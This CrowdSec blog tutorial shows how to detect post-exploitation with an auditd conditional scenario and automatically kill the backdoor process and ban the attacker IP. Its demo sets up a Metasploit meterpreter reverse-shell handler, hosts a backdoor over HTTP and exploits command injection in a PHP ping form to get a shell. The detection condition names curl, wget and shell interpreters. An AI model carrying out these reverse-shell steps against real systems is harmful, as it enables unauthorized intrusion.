A few months ago, we announced the release of the CrowdSec Security Engine 1.5 — our biggest release since v1.0! Version 1.5 came packed with new features, and major enhancements, and offers more control over your security management.
In this blog series, I am walking you through some of the most interesting features and exploring a few use cases. In the previous two parts of this series we covered:
In this part, I will show you how you can detect and block an attacker running a backdoor after exploiting a vulnerability in a web application.
Requirements
The CrowdSec Security runs in two modes — the service mode (aka default mode) and the replay mode. In this article, I'm running the CrowdSec Security Engine in replay mode. If you want to learn more about the two CrowdSec modes and how to configure acquisition for the service mode, check out the Requirements section in the first part of this series.
Install the auditd collection You can find the collection here.
auditctl -a exit,always -F arch=b64 -S execve
auditctl -a exit,always -F arch=b32 -S execve
Note: If you want those rules to be persistent, you have to write them in /etc/audit/audit.rules.
The scenario
For this use case I am using the new type of scenario called conditional. Check out the first part of this series to find out more about the conditional scenario, or head to our documentation.
There are two ways of detecting a post-exploitation attempt:
When the attacker downloads a backdoor via a vulnerability and then executes it
When a user prints a base64 blob, decodes it, and pipes it to an interpreter (Python, PHP, Perl, etc.)
In this tutorial, I will explore the first option.
To detect a post-exploitation attempt, we need a conditional bucket that will check in the queue:
that there is an event where curl or wget has been executed
and another event with the same PPID where the executable is not located in /usr/, /bin, or /sbin (the backdoor will often be placed in /tmp) and that a shell interpreter (sh, bash, dash) has been executed
Here is the condition that we will use for our conditional bucket:
condition: |
any(queue.Queue, {.Meta.exe in ["/usr/bin/wget", "/usr/bin/curl"]})
and (
any(queue.Queue, { !(.Meta.exe startsWith "/usr/" or .Meta.exe startsWith "/bin/" or .Meta.exe startsWith "/sbin/")})
or any(queue.Queue, { .Meta.exe in ["/bin/sh", "/bin/bash", "/bin/dash"] })
)
This checks that:
the bucket contains one event where the executable is wget or curl
there is no event in the bucket where the executable path starts with /usr, /bin, or /sbin (because they might be legitimate binaries)
one event is a call to a shell interpreter
And here is the full scenario that detects post-exploitation attempts from the internet:
type: conditional
name: crowdsecurity/auditd-postexploit-exec-from-net
description: "Detect post-exploitation behaviour : curl/wget and exec"
filter: evt.Meta.log_type == 'execve'
#grouping by ppid to track a process doing those action in a short timeframe
groupby: evt.Meta.ppid
condition: |
any(queue.Queue, {.Meta.exe in ["/usr/bin/wget", "/usr/bin/curl"]})
and (
any(queue.Queue, { !(.Meta.exe startsWith "/usr/" or .Meta.exe startsWith "/bin/" or .Meta.exe startsWith "/sbin/")})
or any(queue.Queue, { .Meta.exe in ["/bin/sh", "/bin/bash", "/bin/dash"] })
)
leakspeed: 1s
capacity: -1
blackhole: 1m
labels:
service: linux
type: post-exploitation
remediation: true
scope:
type: pid
expression: evt.Meta.pid
You can see that the scope of this scenario is of type PID and the value is evt.Meta.pid. This means that if you want to trigger remediation for this scenario, the value of the Decision will be the PID of the last event poured into the bucket. This will be useful later on when you want to automatically block those post-exploitation attempts.
Note: Don’t forget to change remediation: false to remediation: true if you use the scenario from the CrowdSec Hub and if you want to automatically remediate against this type of attack.
Test with CrowdSec Replay mode
To check that everything works properly, you can now test this scenario with the CrowdSec Replay mode.
Here are some logs that represent a post-exploitation attempt from the net with an attacker calling wget, chmod, and running a backdoor called blitz64:
And there you have it — CrowdSec detected the post-exploitation attempt!
Going further: Automatic remediation
Now that you have the capacity to detect this attack, it would be great to be able to block it automatically.
So, how can you do that?
Since CrowdSec can generate remediation with a PID, you need to be able to kill this process when the scenario is triggered. Thankfully, with the crowdsec-custom-bouncer you can call a custom binary with each Decision as an argument of the script.
First, install the crowdsec-custom-bouncer and configure it to work with our local API and to get only Decisions where the scope is pid.
Second, create a custom script that receives a Decision in argument and will kill the PID in the Decision.
Install the CrowdSec custom bouncer
You can find all the information about the CrowdSec custom bouncer in our documentation.
sudo apt install crowdsec-custom-bouncer
If the bouncer is installed on the same machine as CrowdSec, then the bouncer will automatically be registered to the local API during the installation.
Create your custom script
As seen in the the custom bouncer documentation, the custom binary will receive the information about a new Decision in the following format:
And in this format when the Decision has to be removed:
custom_binary.sh del 1.2.3.4/32 3600 "test blacklist" [FULL_JSON_OBJECT]
Before creating your script, let's create a virtual environment:
python -m venv /tmp/venv
And install the needed dependencies:
source /tmp/venv/bin/activate
pip install psutil
And here is your script:
#!/usr/bin/env python3
import os
import sys
import json
import signal
import logging
import psutil
SCRIPT_FOLDER = "/tmp/kill_process_bouncer/"
def setup_logger(log_dir, log_file, log_level=logging.INFO):
log_dir = os.path.join(log_dir, "logs")
if not os.path.exists(log_dir):
os.makedirs(log_dir)
logging.basicConfig(filename=os.path.join(log_dir, log_file),
level=log_level,
format='%(asctime)s - %(levelname)s - %(message)s')
return logging.getLogger()
def main():
args = sys.argv
if len(sys.argv) < 5:
logger.error("Not enough argument")
sys.exit(1)
cmd_type = args[1]
logger = setup_logger(SCRIPT_FOLDER, "bouncer.log")
if cmd_type != "add" and cmd_type != "del":
logger.error("Received bad command: {}".format(cmd_type))
sys.exit(1)
# we only care about "add" decisions
if cmd_type == "add":
decision_value = int(args[2])
# we don't care about duration and reason since we will just kill a PID
decision_duration = args[3]
decision_reason = args[4]
json_object = json.loads(args[5])
if json_object["scope"].lower() != "pid":
sys.exit(0)
logger.info("Received decision with scope PID: '{}'".format(decision_value))
found = False
for process in psutil.process_iter(['pid', 'name', 'username']):
if process.info["pid"] == decision_value:
found = True
try:
# kill the process
os.kill(decision_value, signal.SIGKILL)
except ProcessLookupError:
logger.error(f"No such process: {e}")
return
except PermissionError:
logger.error(f"Access denied: {e}")
return
logger.info("PID '{}' killed successfully".format(decision_value))
if not found:
logger.error("PID '{}' not found".format(decision_value))
if __name__ == "__main__":
main()
Add this script in /tmp/kill_process_bouncer/kill_process_bouncer.py and it will log any action in tmp/kill_process_bouncer/logs/bouncer.log. You must give it the right to be executed with:
Note: For this tutorial, I am using /tmp/ but if you want to use it in production, put it in another folder.
So basically, this script will receive as arguments:
the value field of the Decision
the duration of the Decision (you don’t need it here)
the reason of the Decision (you don’t need it here)
the full JSON object of the Decision: you need it to get the scope and the scenario
If the scope of the Decision it received is pid and the process is currently running, then the script will try to kill it.
Let's now configure the custom bouncer to call the script when it receives a new Decision, and to filter the Decision with a scope pid directly at the local API level.
In the bouncer configuration file (/etc/crowdsec/bouncers/crowdsec-custom-bouncer.yaml), edit the bin_path parameter with the script path and add the scopes array with the pid value:
bin_path: ${BINARY_PATH}
scopes:
- pid
And restart the bouncer:
sudo systemctl restart crowdsec-custom-bouncer
Configure the CrowdSec profile
In order to generate a Decision for alerts with the pid scope, you need to add this section at the beginning of the profile configuration:
Now it is time to check if your new scenario works in real-time. For this demo, I have a basic PHP website that asks a user to run a PING command. This functionality is vulnerable to command injection, and this is where I will try to upload and execute the backdoor.
Note: Before you get started with this step, please make sure add the acquisition as shown in the requirements and restart the Security Engine.
Attacker requirements
To create the backdoor and the listener, I will use Metasploit.
You can run the following command to create the backdoor binary where attacker_ip is the IP of the listener and attacker_port is the port of the listener:
Let’s now create a basic Python HTTP server to host this file, so it can be downloaded from the defender server.
python -m http.server 8082 --bind 0.0.0.0
And now you can configure and run the listener:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:8000
Exploitation
To download and execute the backdoor, you need to exploit the command injection vulnerability in the ping input of the website. The payload will download the backdoor in /tmp/backdoor.sh, give it the right to be executed and, finally, execute it:
Congrats, you now have a shell on the defender machines!
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:8000
[*] Sending stage (1017704 bytes) to [DEFENDER_IP]
[*] Meterpreter session 1 opened (172.31.15.92:8000 -> [DEFENDER_IP]:46946) at 2023-10-05 15:21:34 +0000
meterpreter >
CrowdSec to the rescue
Just after the attacker submits its input to download and execute the backdoor, you can see that CrowdSec is triggering a Decision with the PID of the process running the backdoor:
time="05-10-2023 15:30:08" level=info msg="(11c1e4655bc54250b10c4e8d5ee47a22lrT49Y3WOXhIAKdy/crowdsec) crowdsecurity/auditd-postexploit-exec-from-net by pid 2080185 : 1h kill on pid 2080185"
And you can check in the logs of the custom script that the PID has been killed:
2023-10-05 15:30:16,438 - INFO - PID '2080185' killed successfully
And finally, on the attacker machine, you can see that the Meterpreter session has been closed!
[*] [DEFENDER_IP] - Meterpreter session 1 closed. Reason: Died
Let’s go even further!
You now have the capability to kill the PID of the process that is running the backdoor. But it would be cool to also block the IP address of the attacker, wouldn’t it?
Here is a Python function that can retrieve the remote address to which a process is connecting (via /proc/[pid]/net/tcp):
def get_remote_addresses(pid):
tcp_path = "/proc/{}/net/tcp".format(pid)
if not os.path.exists(tcp_path):
logger.error("Path {} does not exist.".format(tcp_path))
return []
def parse_ipv4_address(addr):
ip_parts = [addr[i:i+2] for i in range(0, len(addr), 2)]
ip = ".".join(str(int(part, 16)) for part in reversed(ip_parts))
return ip
addresses = []
with open(tcp_path, 'r') as file:
for line in file.readlines()[1:]:
parts = line.split()
state = parts[3]
local_address = parts[1].split(":")[0]
local_port = int(parts[1].split(":")[1], 16)
rem_address = parts[2]
rem_ip, _ = rem_address.split(":")
# Filter to ESTABLISHED state, outgoing connection and not local ADDR
if state == '01' and local_port > 32768 and not local_address in ('00000000', '0100007F'):
addresses.append(parse_ipv4_address(rem_ip))
return list(set(addresses))
Ban the aggressive IP address
Now that you have installed the firewall bouncer and that you have the IP you want to ban, you can simply add a CrowdSec Decision on this IP in your Python script:
After exploiting the website again, the meterpreter session has been closed again, but this time, it is not possible to exploit the website again since the IP address of the attacker has been added to the CrowdSec Decisions list and is now blocked by the firewall bouncer:
╭───────┬──────────┬───────────────────┬────────────────────────────────────────────────┬────────┬─────────┬──────────────────────────────────────────────┬────────┬────────────────────┬──────────╮
│ ID │ Source │ Scope:Value │ Reason │ Action │ Country │ AS │ Events │ expiration │ Alert ID │
├───────┼──────────┼───────────────────┼────────────────────────────────────────────────┼────────┼─────────┼──────────────────────────────────────────────┼────────┼────────────────────┼──────────┤
│ 45124 │ cscli │ Ip:34.245.18.114 │ crowdsecurity/auditd-postexploit-exec-from-net │ ban │ │ │ 1 │ 3h59m4.800814301s │ 8132 │
Here is the full Python script:
#!/usr/bin/env python3
import os
import sys
import json
import signal
import logging
import psutil
SCRIPT_FOLDER = "/tmp/kill_process_bouncer/"
def setup_logger(log_dir, log_file, log_level=logging.INFO):
log_dir = os.path.join(log_dir, "logs")
if not os.path.exists(log_dir):
os.makedirs(log_dir)
logging.basicConfig(filename=os.path.join(log_dir, log_file),
level=log_level,
format='%(asctime)s - %(levelname)s - %(message)s')
return logging.getLogger()
def get_remote_addresses(pid):
tcp_path = "/proc/{}/net/tcp".format(pid)
if not os.path.exists(tcp_path):
logger.error("Path {} does not exist.".format(tcp_path))
return []
def parse_ipv4_address(addr):
ip_parts = [addr[i:i+2] for i in range(0, len(addr), 2)]
ip = ".".join(str(int(part, 16)) for part in reversed(ip_parts))
return ip
addresses = []
with open(tcp_path, 'r') as file:
for line in file.readlines()[1:]:
parts = line.split()
state = parts[3]
local_address = parts[1].split(":")[0]
local_port = int(parts[1].split(":")[1], 16)
rem_address = parts[2]
rem_ip, _ = rem_address.split(":")
# Filter to ESTABLISHED state, outgoing connection and not local ADDR
if state == '01' and local_port > 32768 and not local_address in ('00000000', '0100007F'):
addresses.append(parse_ipv4_address(rem_ip))
return list(set(addresses))
def main():
args = sys.argv
if len(sys.argv) < 5:
logger.error("Not enough argument")
sys.exit(1)
cmd_type = args[1]
logger = setup_logger(SCRIPT_FOLDER, "bouncer.log")
if cmd_type != "add" and cmd_type != "del":
logger.error("Received bad command: {}".format(cmd_type))
sys.exit(1)
# we only care about "add" decisions
if cmd_type == "add":
decision_value = int(args[2])
# we don't care about duration and reason since we will just kill a PID
decision_duration = args[3]
decision_reason = args[4]
json_object = json.loads(args[5])
if json_object["scope"].lower() != "pid":
sys.exit(0)
logger.info("Received decision with scope PID: '{}'".format(decision_value))
found = False
for process in psutil.process_iter(['pid', 'name', 'username']):
if process.info["pid"] == decision_value:
# Get remote addresses before killing the process
remote_addresses = get_remote_addresses(decision_value)
found = True
try:
# kill the process
os.kill(decision_value, signal.SIGKILL)
except ProcessLookupError:
logger.error(f"No such process: {e}")
return
except PermissionError:
logger.error(f"Access denied: {e}")
return
logger.info("PID '{}' killed successfully".format(decision_value))
for addr in remote_addresses:
os.system("cscli decisions add -i {} --reason '{}'".format(addr, json_object["scenario"]))
if not found:
logger.error("PID '{}' not found".format(decision_value))
if __name__ == "__main__":
main()
Conclusion
The conditional bucket feature introduced in CrowdSec Security Engine 1.5 is a truly exceptional tool that helps you detect more advanced suspicious and aggressive behaviors. This was the last part of our CrowdSec Security Engine 1.5 in Action series — I hope you enjoyed it!
Don’t forget to visit the CrowdSec Blog as we are publishing new and interesting tutorials for you every week.
%20(21).jpg)
.jpg)
.png)
